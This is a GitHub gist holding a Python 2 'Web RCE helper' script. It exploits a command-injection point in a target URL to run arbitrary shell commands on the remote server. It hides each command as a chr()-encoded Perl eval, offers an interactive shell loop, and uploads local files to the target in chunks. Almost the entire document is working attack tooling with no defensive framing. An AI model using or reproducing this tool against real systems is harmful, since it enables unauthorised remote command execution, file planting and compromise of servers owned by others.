Skip to content

Instantly share code, notes, and snippets.

@truekonrads
Created February 13, 2014 21:58
Show Gist options
  • Save truekonrads/ea88668946b1e338255d to your computer and use it in GitHub Desktop.
Save truekonrads/ea88668946b1e338255d to your computer and use it in GitHub Desktop.
Web RCE helper
#!/usr/bin/env python
import cmd,urllib2, argparse,urlparse,re,urllib,binascii
DEFAULT_SPLIT=256 # AIX max len is 4k, so we're just shy
def debug(text):
global args
if args.debug:
print "[DD] " + text
class WebRCE(object):
def __init__(self):
global args
if args.proxy:
proxy_handler=urllib2.ProxyHandler({'http':args.proxy,'https':args.proxy})
self.opener=urllib2.build_opener(proxy_handler)
else:
self.opener=urllib2.build_opener()
self.url=args.url
def _prepare_command(self,cmd):
# enc=",".join([str(ord(x)) for x in cmd])
# perlstring="""perl -e system(join("",map(chr,(%s))))"""
# #perlstring="""perl -e printf(map(chr,(%s))"""
# enc=".".join(["chr(%i)" % ord(x) for x in cmd])
# perlstring='perl -e system(%s)'
enc=".".join(["chr(%i)" % ord(x) for x in "sh -c '%s'" % cmd.replace("'","\\'")])
clever="use IPC::Open3;waitpid(open3($a,$b,$c,%s),0);print <$b>;print <$c> if $c;" % enc
perlstring="perl -e eval(%s)" % (".".join(["chr(%i)" % ord(x) for x in clever]))
debug(perlstring)
return perlstring
def execute(self,command):
cmd=self._prepare_command(command)
newurl=self.url.replace(args.replace,urllib.quote(cmd))
if args.method=="GET":
debug("GET %s" % newurl)
try:
o=self.opener.open(newurl)
except Exception,e:
print str(e)
print e.read()
else:
raise Exception("Method %s is not supported" % args.method)
print o.read()
def download(self,filepath):
raise NotImplementedError
def upload(self,localpath,remote):
debug("write: %s/%s" % (localpath,remote))
try:
ldata=file(localpath,"rb").read()
except IOError,e:
print "Couldn't read %s: %s" % (localpath,str(e))
return
i=0
while i<len(ldata):
if i+DEFAULT_SPLIT>len(ldata):
maxlen=len(ldata)-i
else:
maxlen=i+DEFAULT_SPLIT
debug("write i:%i, maxlen:%i, ldata len:%i" % (i,maxlen,len(ldata)))
segment=ldata[i:maxlen]
if i==0:
filename=">%s"
else:
filename=">>%s"
filename=filename % remote
debug ("write filename: %s" % filename)
clever = """open(A,"%s");print A <<END\n%s\nEND\n""" % (filename,segment.replace("'","\\'"))
perlstring="perl -e eval(%s)" % (".".join(["chr(%i)" % ord(x) for x in clever]))
newurl=self.url.replace(args.replace,urllib.quote(perlstring))
if args.method=="GET":
debug("GET %s" % newurl)
try:
o=self.opener.open(newurl)
except Exception,e:
print str(e)
print e.read()
return
else:
raise Exception("Method %s is not supported" % args.method)
i=maxlen
class WebRCELoop(cmd.Cmd):
def __init__(self,*args,**kwargs):
self.webrce=WebRCE()
cmd.Cmd.__init__(self,*args,**kwargs)
def do_EOF(self,line):
return True
def do_upload(self,line):
try:
# debug ("do_upload %s" % line)
(localpath,remote)=line.split(" ")
# debug ("do upload %s/%s " % (localpath,remote))
self.webrce.upload(localpath,remote)
except ValueError:
print "Usage: write <localfile> <remotefile>"
return
def default(self,line):
self.webrce.execute(line)
if __name__=="__main__":
global args
parser = argparse.ArgumentParser(description="Web RCE helper")
parser.add_argument('-p','--proxy',metavar='http://PROXY:PORT',type=str,dest='proxy',
help='HTTP proxy')
parser.add_argument('-u','--url',metavar='URL',type=str,dest='url',required=True,
help='URL')
parser.add_argument('-r','--replace',metavar='REPLACE',type=str,dest='replace',default='$$',
help='String to replace')
parser.add_argument('-c','--cmd',metavar='CMD',type=str,dest='cmd',
help='Command to execute in one-shot mode')
parser.add_argument('-m','--method',metavar='METHOD',type=str,dest='method',default='GET',
help='HTTP method')
parser.add_argument('-d','--debug',dest='debug',default=False,
help='Debug',action="store_true")
args=parser.parse_args()
loop=WebRCELoop()
if args.cmd:
loop.onecmd(args.cmd)
else:
loop.cmdloop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment